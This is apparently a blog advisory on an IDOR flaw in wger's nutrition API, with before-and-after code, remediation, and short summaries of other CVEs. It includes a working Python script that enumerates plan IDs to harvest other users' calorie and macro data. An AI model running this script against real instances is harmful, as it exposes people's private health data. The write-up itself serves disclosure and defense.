Feb 27, 2026·5 min read·20 visits
The wger fitness manager application failed to verify object ownership in its nutrition API endpoints. Developers used raw ORM lookups instead of framework-secure methods, allowing any logged-in user to iterate through database IDs and download the dietary habits (macros, calories) of every other user on the platform.
A classic Insecure Direct Object Reference (IDOR) vulnerability in the 'wger' workout manager allows authenticated users to access the nutritional plans of any other user. By bypassing Django REST Framework's object-level permission checks, the API serves up full macro breakdowns and caloric data for arbitrary IDs.
Privacy in fitness applications is a strange beast. Most people don't mind if their friends know they hit a personal best on the bench press, but they get a little squeamish when strangers know exactly how many calories they binged on a Tuesday night. wger is a popular, open-source workout manager that handles everything from gym logs to nutritional planning.
Under the hood, wger relies heavily on the Django REST Framework (DRF), a powerful toolkit that usually handles the boring security stuff—like making sure User A can't read User B's diary—automatically. It does this through a combination of permission_classes and querysets.
However, frameworks are only magical if you actually use their spells. In CVE-2026-27839, the developers decided to go rogue in the nutrition module. Instead of letting DRF handle the bouncers at the door, they wrote a custom action that kicks the door wide open for anyone with a valid login token.
The root cause here is a tale as old as time in the Django world: ignoring self.get_object(). When you are building a ViewSet in DRF, the framework provides a standardized way to retrieve a specific record based on the URL parameter (usually the primary key, or pk).
The secure method is self.get_object(). This method does three critical things:
get_queryset() method (which often limits results to the current user).IsOwner).The vulnerable code in wger/nutrition/api/views.py skipped all of that. The developer manually called the database using the raw Django ORM: NutritionPlan.objects.get(pk=pk). This is the equivalent of walking past the security guard and letting yourself into the archives. The application checks if you are logged in, but it never checks if you own the file you are pulling off the shelf.
Here is a visualization of the logic failure:
By querying the model directly, the code explicitly ignores the permissions policy defined on the ViewSet.
Let's look at the actual code diff. This is a textbook example of how a single line change switches an endpoint from "Open Season" to "Fort Knox".
The vulnerability existed in three separate endpoints: NutritionPlanViewSet, MealViewSet, and MealItemViewSet. Below is the diff for the nutritional_values action. Notice how the patch removes the direct model call and replaces it with the instance method.
> [!NOTE]
> The vulnerability resides in wger/nutrition/api/views.py.
# VULNERABLE CODE (Before)
@action(detail=True, methods=['get'])
def nutritional_values(self, request, pk=None):
# Direct DB access. No permission checks applied here.
plan = NutritionPlan.objects.get(pk=pk)
# ... logic to calculate macros ...
return Response(data)In the vulnerable version, NutritionPlan.objects.get(pk=pk) simply asks the database for the record with that ID. If it exists, it returns it. It doesn't care who request.user is.
# FIXED CODE (After)
@action(detail=True, methods=['get'])
def nutritional_values(self, request, pk=None):
# Secure access. Triggers check_object_permissions().
plan = self.get_object()
# ... logic to calculate macros ...
return Response(data)By switching to self.get_object(), the code forces DRF to run its internal security pipeline. If the get_queryset method filters by user (e.g., return NutritionPlan.objects.filter(user=self.request.user)), an attacker requesting someone else's ID will effectively get a 404 Not Found, because that ID doesn't exist within their scope.
Exploiting this is trivially easy. It requires no fancy injection techniques, no heap manipulation, and no race conditions. It is a simple iteration attack (IDOR).
Prerequisites:
wger instance (registration is often open).The API exposes the nutritional_values endpoint. An attacker simply needs to increment the integer ID in the URL to dump the database.
import requests
# Target: A vulnerable wger instance
TARGET = "https://wger.example.com"
TOKEN = "Token 7483a..." # Attacker's token
def steal_macros(start_id, end_id):
headers = {"Authorization": TOKEN}
print(f"[*] Starting harvest from ID {start_id} to {end_id}...")
for pk in range(start_id, end_id):
# The vulnerable endpoint
url = f"{TARGET}/api/v2/nutritionplan/{pk}/nutritional_values/"
try:
r = requests.get(url, headers=headers)
if r.status_code == 200:
data = r.json()
calories = data.get('energy', 0)
protein = data.get('protein', 0)
print(f"[+] VICTIM FOUND (Plan {pk}): {calories}kcal, {protein}g Protein")
# Full JSON contains: carbs, sugar, fat, sodium, fiber, etc.
elif r.status_code == 404:
pass # ID doesn't exist
else:
print(f"[-] Error accessing {pk}: {r.status_code}")
except Exception as e:
print(f"[!] Connection error: {e}")
if __name__ == "__main__":
steal_macros(1, 1000)The Output: The script will output a list of valid nutrition plans. While this doesn't dump the user's password or email directly in this specific endpoint, it leaks highly personal health data. Furthermore, effectively iterating IDs allows an attacker to estimate the total user base size and activity levels of the platform.
The fix was applied in commit 29876a1954fe959e4b58ef070170e81703dab60e. As discussed, the remediation is straightforward: stop writing raw queries inside ViewSet actions.
For Developers:
If you are using Django REST Framework, memorize this rule: If you are inside a ViewSet and you need the object identified by the URL's PK, always use self.get_object().
If you absolutely must use a custom query (perhaps for performance reasons, though unlikely for single-object lookups), you must manually invoke the permission checks:
obj = MyModel.objects.get(pk=pk)
self.check_object_permissions(self.request, obj)However, using self.get_object() is cleaner because it also respects the base queryset filtering. If your base queryset is User.objects.filter(id=request.user.id), using get_object() automatically handles the "ownership" check without needing explicit permission classes, simply because the object won't be found in the filtered list.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
wger wger-project | <= 2.4 | Commit 29876a1954fe959e4b58ef070170e81703dab60e |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-639 (IDOR) |
| CVSS v3.1 | 4.3 (Medium) |
| Attack Vector | Network (Authenticated) |
| Impact | Confidentiality Loss (Low) |
| Affected Component | NutritionPlanViewSet |
| Exploit Status | PoC Available |
Authorization Bypass Through User-Controlled Key
An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.
GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.
CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.
NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.
A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.
An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.